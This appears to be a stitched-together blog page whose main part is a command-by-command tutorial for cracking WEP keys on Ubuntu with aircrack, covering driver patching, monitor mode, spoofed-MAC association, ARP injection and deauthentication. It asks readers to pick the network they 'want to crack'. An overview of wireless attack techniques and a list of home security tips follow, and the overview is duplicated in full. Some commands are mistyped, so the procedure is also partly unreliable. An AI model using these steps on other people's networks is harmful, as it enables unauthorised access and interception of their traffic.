After the article on cracking a WEP key using a MAC, many users have requested similar *testing* of their security
procedures using a popular LINUX distro and WinXP. This article delves into cracking a WEP key and a WEP key force using the most popular and user friendly LINUX distro out there : UBUNTU. All you need is a laptop with a wireless card and a copy of Ubuntu Linux. NOTE: Most of the Intel wireless adapters that come in built in most laptops these days should work.
Ubuntu (IPA pronunciation: /u’buntu/) is a Linux distribution offering an operating system predominantly targeted at desktop computers. Based on Debian GNU/Linux, Ubuntu concentrates on usability, freedom from restriction of use, regular releases, and ease of installation. Ubuntu is sponsored by Canonical Ltd., by South African Mark Shuttleworth; the name of the distribution comes from the African concept of ubuntu (roughly, “humanity towards others”).
First step, obviously, is to install Ubuntu. Just boot from the CD and follow the directions. If you have problems or need help installing UBUNTU, follow this guide straight from Ubuntu. Once you have the OS installed and configured/customized to your liking we can proceed with the first step. I’d suggest performing the following steps in order, otherwise you may have problems.
Next, install the extra repositories and all the programs that Ubuntu doesn’t preinstall. Make sure your machine is able to establish a connection to the Internet. If you can only connect via wireless and are having problems, there is a package called Wi-Fi radar that is helpful. To install the extra repositories, open a terminal window and type the following:
sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup
sudo gedit /etc/apt/sources.list
While in the editor, replace everything with:
## Add comments (##) in front of any line to remove it from being checked.
## Use the following sources.list at your own risk.
deb http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse
## MAJOR BUG FIX UPDATES produced after the final release
deb http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse
## UBUNTU SECURITY UPDATES
deb http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
deb-src http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
## PLF REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://packages.freecontrib.org/ubuntu/plf dapper free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf dapper free non-free
Save the file and exit the text editor. Next type the command:
sudo apt-get update
Now we have to install the packages we’ll need later on:
sudo apt-get install build-essential
sudo apt-get install aircrack
sudo apt-get install kismet
sudo apt-get install airsnort
sudo apt-get install linux-source
sudo apt-get install linux-headers
sudo apt-get install sharutils
Next, you should update your entire system by going to the System Menu>Administration>Update Manager. Click ‘Check’ and begin installing updates. Then reboot your system. After this is done, it’s time to patch the Madwifi drivers.
This is where everything can be tricky. My wireless card (Linksys WPC55AG) uses the Atheros driver, which I needed to patch. If you have a different driver, you’re going to need to find out whether or not you need to patch your drivers, or if they’ll even work with the Aircrack suite. The forums at aircrack-ng.org are a good place to look and so is a Google search. If you have an Atheros card, it will be called ath0 when you type iwconfig in the terminal window, or there will be a line that says Ethernet controller: Atheros Communications… when you type lspci in the terminal.
Let’s apply the madwifi patch which you’ll need if you’re using the Atheros driver. This will temporarily disable your wireless card when it deletes the old drivers of the disk. First we’re going to navigate to the /usr/src directory, download the new drivers, delete the old drivers, then install the new ones and apply the patch. You can just copy and paste the commands below into the terminal or type them yourself. So. first, let’s get the patch and then get the corresponding version of the driver
sudo -i
cd /usr/src
get http://patches.aircrack-ng.org/madwifi-ng-r1679.patch
wget http://snapshots.madwifi.org/madwifi-ng/madwifi-ng-r1679-20060707.tar.gz
ifconfig ath0 down
rmmod ath_rate_sample wlan_wep ath_rate_onoe ath_pci wlan ath_hal
find /lib/modules -name ‘ath*’ -exec rm -v {} \;
find /lib/modules -name ‘wlan*’ -exec rm -v {} \;
# tar zxvf madwifi-ng-r1679-20060707.tar.gz
# cd madwifi-ng-r1679-20060707/
# patch -Np1 -i ../madwifi-ng-r1679.patch
# make
# make install
# mod_probe ath_pci
NOTE: Some people have been having problems with the modprobe command. A comment below contains a fix in some cases:
However, during Madwifi Installation I got this warning:
Warning: could not find /usr/src/madwifi/ath_hal/.hal.o.cmd for /usr/src/madwifi/ath_hal/hal.o
This warning can be IGNORED.
When I ran “modprobe ath_pci” it gave me an error message and “dmesg” gave me some gibberish about “disagrees about version of symbol”.
I browsed the web and found the solution: You have to delete the linux-restricted modules. Just search for “linux-restricted” in Synaptic. I removed everything but “linux-restricted-modules-common”. Then I compiled the madwifi again and ran “modeprobe ath_pci” again. NO ERROR this time! Authenticating and injecting works!
Apparently some network cards with atheros chipset cause problems if you don’t remove the linux-restricdet-modules.
If you are using the Atheros driver, next we need to configure kismet to use the right source. If you are using another driver you’ll have to look up what syntax you use. First navigate to the Kismet config, then change the source line.
sudo gedit /etc/kismet/kismet.conf
Change the line that begins with ’source=’ to ’source=madwifi_ag,ath0,madwifi’. Now reboot the computer. After it boots back up you should be able to access the internet again via your wireless card.
Now we can begin cracking. Open up a terminal window, enter monitor mode, and run kismet.
sudo airmon start ath0
sudo kismet
Locate the wireless network you want to crack, and note its ESSID and channel. Then exit by pressing Ctrl-C.
Next, run airodump.
sudo airodump ath0 filename channel# 1
The one at the end lets Airodump know we only want to capture IV’s. The filename can be anything you want, and will be saved in your home directory (or whatever directory you run the command from) as filename.ivs.
Copy the bssid of the wireless network from the airodump window by selecting it and pressing Shift+Ctrl+C. Open up a new terminal window so we can run aireplay to start injecting packets so our data count goes up. We want the data column in airodump to reach between 100,000 and 400,000. The more packets we have, the faster aircrack can find the WEP key. If the WEP key is 128 bits, we may need up to 1,000,000 packets.
sudo aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0
This should associate the network with the wireless connection. If it times out repeatedly, you need to be closer to the wireless router or change your interface rate by typing ’sudo iwconfig ath0 rate 1M’.
Next we want to start injecting packets.
sudo aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0
At first, it will only read packets, and say 0 ARP requests and 0 packets sent. Just wait a minute or two and it will start sending packets in large quantities. If it returns text that says it has been deauthorized, press Ctrl+C and run the command again. You can try to speed things up by entering this command:
sudo aireplay -0 ath0 -a BSSID ath0
Otherwise just sit back and wait. As soon as packets begin to be sent, the data field in Airodump should start flying. Wait until the desired number of packets have been recieved, then open a new terminal window and run aircrack.
sudo aircrack filename.ivs
After a minute, aircrack should return the WEP key
Showing posts with label Wireless Hacking. Show all posts
Showing posts with label Wireless Hacking. Show all posts
how to ethically hack a wifi wireless internet connection using free hacking software
Have a laptop, or a wireless internet card in your PC? Have you ever been in the position that where you lost your WEP / WPA key, and you interested on retrieving it back? Well with Aircrack you can.Aircrack is a set of tools for auditing wireless networks. It consists of: airodump (an 802.11 packet capture program), aireplay (an 802.11 packet injection program), aircrack (static WEP and WPA-PSK cracking), and airdecap (decrypts WEP/WPA capture files).
I have used aircrack to try and hack my own wireless network and I happy to say I am as secure as I can get wirelessly. Again Aircrack comes with the four following pieces of software to help you secure your wireless internet connection
External Links Download Tutorial |
Wireless Hacking
Wireless networks broadcast their packets using radio frequency or optical wavelengths. A modern laptop computer can listen in. Worse, an attacker can manufacture new packets on the fly and persuade wireless stations to accept his packets as legitimate.
The step by step procerdure in wireless hacking can be explained with help of different topics as follows:-
1) Stations and Access Points :- A wireless network interface card (adapter) is a device, called a station, providing the network physical layer over a radio link to another station.
An access point (AP) is a station that provides frame distribution service to stations associated with it.
The AP itself is typically connected by wire to a LAN. Each AP has a 0 to 32 byte long Service Set Identifier (SSID) that is also commonly called a network name. The SSID is used to segment the airwaves for usage.
2) Channels :- The stations communicate with each other using radio frequencies between 2.4 GHz and 2.5 GHz. Neighboring channels are only 5 MHz apart. Two wireless networks using neighboring channels may interfere with each other.
3) Wired Equivalent Privacy (WEP) :- It is a shared-secret key encryption system used to encrypt packets transmitted between a station and an AP. The WEP algorithm is intended to protect wireless communication from eavesdropping. A secondary function of WEP is to prevent unauthorized access to a wireless network. WEP encrypts the payload of data packets. Management and control frames are always transmitted in the clear. WEP uses the RC4 encryption algorithm.
4) Wireless Network Sniffing :- Sniffing is eavesdropping on the network. A (packet) sniffer is a program that intercepts and decodes network traffic broadcast through a medium. It is easier to sniff wireless networks than wired ones. Sniffing can also help find the easy kill as in scanning for open access points that allow anyone to connect, or capturing the passwords used in a connection session that does not even use WEP, or in telnet, rlogin and ftp connections.
5 ) Passive Scanning :- Scanning is the act of sniffing by tuning to various radio channels of the devices. A passive network scanner instructs the wireless card to listen to each channel for a few messages. This does not reveal the presence of the scanner. An attacker can passively scan without transmitting at all.
6) Detection of SSID :- The attacker can discover the SSID of a network usually by passive scanning because the SSID occurs in the following frame types: Beacon, Probe Requests, Probe Responses, Association Requests, and Reassociation Requests. Recall that management frames are always in the clear, even when WEP is enabled.
When the above methods fail, SSID discovery is done by active scanning
7) Collecting the MAC Addresses :- The attacker gathers legitimate MAC addresses for use later in constructing spoofed frames. The source and destination MAC addresses are always in the clear in all the frames.
8) Collecting the Frames for Cracking WEP :- The goal of an attacker is to discover the WEP shared-secret key. The attacker sniffs a large number of frames An example of a WEP cracking tool is AirSnort ( http://airsnort.shmoo.com ).
9) Detection of the Sniffers :- Detecting the presence of a wireless sniffer, who remains radio-silent, through network security measures is virtually impossible. Once the attacker begins probing (i.e., by injecting packets), the presence and the coordinates of the wireless device can be detected.
10) Wireless Spoofing :- There are well-known attack techniques known as spoofing in both wired and wireless networks. The attacker constructs frames by filling selected fields that contain addresses or identifiers with legitimate looking but non-existent values, or with values that belong to others. The attacker would have collected these legitimate values through sniffing.
11) MAC Address Spoofing :- The attacker generally desires to be hidden. But the probing activity injects frames that are observable by system administrators. The attacker fills the Sender MAC Address field of the injected frames with a spoofed value so that his equipment is not identified.
12) IP spoofing :- Replacing the true IP address of the sender (or, in rare cases, the destination) with a different address is known as IP spoofing. This is a necessary operation in many attacks.
13) Frame Spoofing :- The attacker will inject frames that are valid but whose content is carefully spoofed.
14) Wireless Network Probing :- The attacker then sends artificially constructed packets to a target that trigger useful responses. This activity is known as probing or active scanning.
15) AP Weaknesses :- APs have weaknesses that are both due to design mistakes and user interfaces
16) Trojan AP :- An attacker sets up an AP so that the targeted station receives a stronger signal from it than what it receives from a legitimate AP.
17) Denial of Service :- A denial of service (DoS) occurs when a system is not providing services to authorized clients because of resource exhaustion by unauthorized clients. In wireless networks, DoS attacks are difficult to prevent, difficult to stop. An on-going attack and the victim and its clients may not even detect the attacks. The duration of such DoS may range from milliseconds to hours. A DoS attack against an individual station enables session hijacking.
18) Jamming the Air Waves :- A number of consumer appliances such as microwave ovens, baby monitors, and cordless phones operate on the unregulated 2.4GHz radio frequency. An attacker can unleash large amounts of noise using these devices and jam the airwaves so that the signal to noise drops so low, that the wireless LAN ceases to function.
19) War Driving :- Equipped with wireless devices and related tools, and driving around in a vehicle or parking at interesting places with a goal of discovering easy-to-get-into wireless networks is known as war driving. War-drivers (http://www.wardrive.net) define war driving as “The benign act of locating and logging wireless access points while in motion.” This benign act is of course useful to the attackers.
Regardless of the protocols, wireless networks will remain potentially insecure because an attacker can listen in without gaining physical access.
1) Change Default Administrator Passwords (and Usernames)
2) Turn on (Compatible) WPA / WEP Encryption
3) Change the Default SSID
4) Disable SSID Broadcast
5) Assign Static IP Addresses to Devices
6) Enable MAC Address Filtering
7) Turn Off the Network During Extended Periods of Non-Use
8) Position the Router or Access Point Safely
The step by step procerdure in wireless hacking can be explained with help of different topics as follows:-
1) Stations and Access Points :- A wireless network interface card (adapter) is a device, called a station, providing the network physical layer over a radio link to another station.
An access point (AP) is a station that provides frame distribution service to stations associated with it.
The AP itself is typically connected by wire to a LAN. Each AP has a 0 to 32 byte long Service Set Identifier (SSID) that is also commonly called a network name. The SSID is used to segment the airwaves for usage.
2) Channels :- The stations communicate with each other using radio frequencies between 2.4 GHz and 2.5 GHz. Neighboring channels are only 5 MHz apart. Two wireless networks using neighboring channels may interfere with each other.
3) Wired Equivalent Privacy (WEP) :- It is a shared-secret key encryption system used to encrypt packets transmitted between a station and an AP. The WEP algorithm is intended to protect wireless communication from eavesdropping. A secondary function of WEP is to prevent unauthorized access to a wireless network. WEP encrypts the payload of data packets. Management and control frames are always transmitted in the clear. WEP uses the RC4 encryption algorithm.
4) Wireless Network Sniffing :- Sniffing is eavesdropping on the network. A (packet) sniffer is a program that intercepts and decodes network traffic broadcast through a medium. It is easier to sniff wireless networks than wired ones. Sniffing can also help find the easy kill as in scanning for open access points that allow anyone to connect, or capturing the passwords used in a connection session that does not even use WEP, or in telnet, rlogin and ftp connections.
5 ) Passive Scanning :- Scanning is the act of sniffing by tuning to various radio channels of the devices. A passive network scanner instructs the wireless card to listen to each channel for a few messages. This does not reveal the presence of the scanner. An attacker can passively scan without transmitting at all.
6) Detection of SSID :- The attacker can discover the SSID of a network usually by passive scanning because the SSID occurs in the following frame types: Beacon, Probe Requests, Probe Responses, Association Requests, and Reassociation Requests. Recall that management frames are always in the clear, even when WEP is enabled.
When the above methods fail, SSID discovery is done by active scanning
7) Collecting the MAC Addresses :- The attacker gathers legitimate MAC addresses for use later in constructing spoofed frames. The source and destination MAC addresses are always in the clear in all the frames.
8) Collecting the Frames for Cracking WEP :- The goal of an attacker is to discover the WEP shared-secret key. The attacker sniffs a large number of frames An example of a WEP cracking tool is AirSnort ( http://airsnort.shmoo.com ).
9) Detection of the Sniffers :- Detecting the presence of a wireless sniffer, who remains radio-silent, through network security measures is virtually impossible. Once the attacker begins probing (i.e., by injecting packets), the presence and the coordinates of the wireless device can be detected.
10) Wireless Spoofing :- There are well-known attack techniques known as spoofing in both wired and wireless networks. The attacker constructs frames by filling selected fields that contain addresses or identifiers with legitimate looking but non-existent values, or with values that belong to others. The attacker would have collected these legitimate values through sniffing.
11) MAC Address Spoofing :- The attacker generally desires to be hidden. But the probing activity injects frames that are observable by system administrators. The attacker fills the Sender MAC Address field of the injected frames with a spoofed value so that his equipment is not identified.
12) IP spoofing :- Replacing the true IP address of the sender (or, in rare cases, the destination) with a different address is known as IP spoofing. This is a necessary operation in many attacks.
13) Frame Spoofing :- The attacker will inject frames that are valid but whose content is carefully spoofed.
14) Wireless Network Probing :- The attacker then sends artificially constructed packets to a target that trigger useful responses. This activity is known as probing or active scanning.
15) AP Weaknesses :- APs have weaknesses that are both due to design mistakes and user interfaces
16) Trojan AP :- An attacker sets up an AP so that the targeted station receives a stronger signal from it than what it receives from a legitimate AP.
17) Denial of Service :- A denial of service (DoS) occurs when a system is not providing services to authorized clients because of resource exhaustion by unauthorized clients. In wireless networks, DoS attacks are difficult to prevent, difficult to stop. An on-going attack and the victim and its clients may not even detect the attacks. The duration of such DoS may range from milliseconds to hours. A DoS attack against an individual station enables session hijacking.
18) Jamming the Air Waves :- A number of consumer appliances such as microwave ovens, baby monitors, and cordless phones operate on the unregulated 2.4GHz radio frequency. An attacker can unleash large amounts of noise using these devices and jam the airwaves so that the signal to noise drops so low, that the wireless LAN ceases to function.
19) War Driving :- Equipped with wireless devices and related tools, and driving around in a vehicle or parking at interesting places with a goal of discovering easy-to-get-into wireless networks is known as war driving. War-drivers (http://www.wardrive.net) define war driving as “The benign act of locating and logging wireless access points while in motion.” This benign act is of course useful to the attackers.
Regardless of the protocols, wireless networks will remain potentially insecure because an attacker can listen in without gaining physical access.
 | Tips for Wireless Home Network Security | |
1) Change Default Administrator Passwords (and Usernames)
2) Turn on (Compatible) WPA / WEP Encryption
3) Change the Default SSID
4) Disable SSID Broadcast
5) Assign Static IP Addresses to Devices
6) Enable MAC Address Filtering
7) Turn Off the Network During Extended Periods of Non-Use
8) Position the Router or Access Point Safely
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